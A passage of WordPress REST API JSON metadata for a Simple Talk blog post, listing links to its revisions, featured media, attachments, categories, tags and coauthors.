www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/109512\/revisions"}],"predecessor-version":[{"id":109521,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/109512\/revisions\/109521"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media\/109515"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=109512"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=109512"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=109512"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=109512"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}